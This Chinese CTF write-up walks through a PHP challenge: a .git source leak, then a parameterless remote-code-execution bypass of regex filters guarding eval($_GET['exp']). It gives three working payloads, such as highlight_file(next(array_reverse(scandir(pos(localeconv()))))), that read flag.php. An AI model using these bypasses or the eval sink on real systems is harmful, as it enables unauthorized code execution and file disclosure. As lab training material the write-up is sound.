知识点
- .git源码泄露
- 无参RCE
localeconv() 函数返回一包含本地数字及货币格式信息的数组
scandir() 列出 images 目录中的文件和目录
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
array_reverse()以相反的元素顺序返回数组。
highlight_file()打印输出或者返回文件中语法高亮版本的代码。
启动靶机
1. 访问题目
2. .git泄露得到源码
dirsearch扫出存在.git泄露,githack利用得到源码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
3. 代码审计
第一个if
条件
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))
常用的伪协议被禁了
第二个if
条件
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
正则匹配,(?R)
是引用当前表达式,(?R)?
这里多一个?
表示可以有引用,也可以没有。例如引用一次正则则变成了[a-z,_]+\([a-z,_]+\((?R)?\)\)
,可以迭代下去,那么它所匹配的就是print(echo(1))、a(b(c()));
类似这种括号和字符组成的表达式,这其实是无参数RCE
比较典型的例子。
第三个if
条件
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))
第三个if
就过滤一些字眼。
4. scandir(pos(localeconv()))找到flag文件位置
?exp=var_dump(scandir(pos(localeconv())));
5. 得到flag
方法一:next(array_reverse())
array_reverse()
以相反的元素顺序返回数组
?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
flag{7ee0fae7-d2b9-4aa1-9d98-d6b9d643e8bb}
方法二:array_rand(array_flip())
?exp=highlight_file(array_rand(array_flip(scandir(current(localeconv())))));
array_flip()
交换数组的键和值array_rand()
从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回,本题目中scandir()返回的数组只有5个元素,刷新几次就能刷出来flag.php
方法三:session_id(session_start())
?exp=show_source(session_id(session_start()));
Cookie:PHPSESSID=flag.php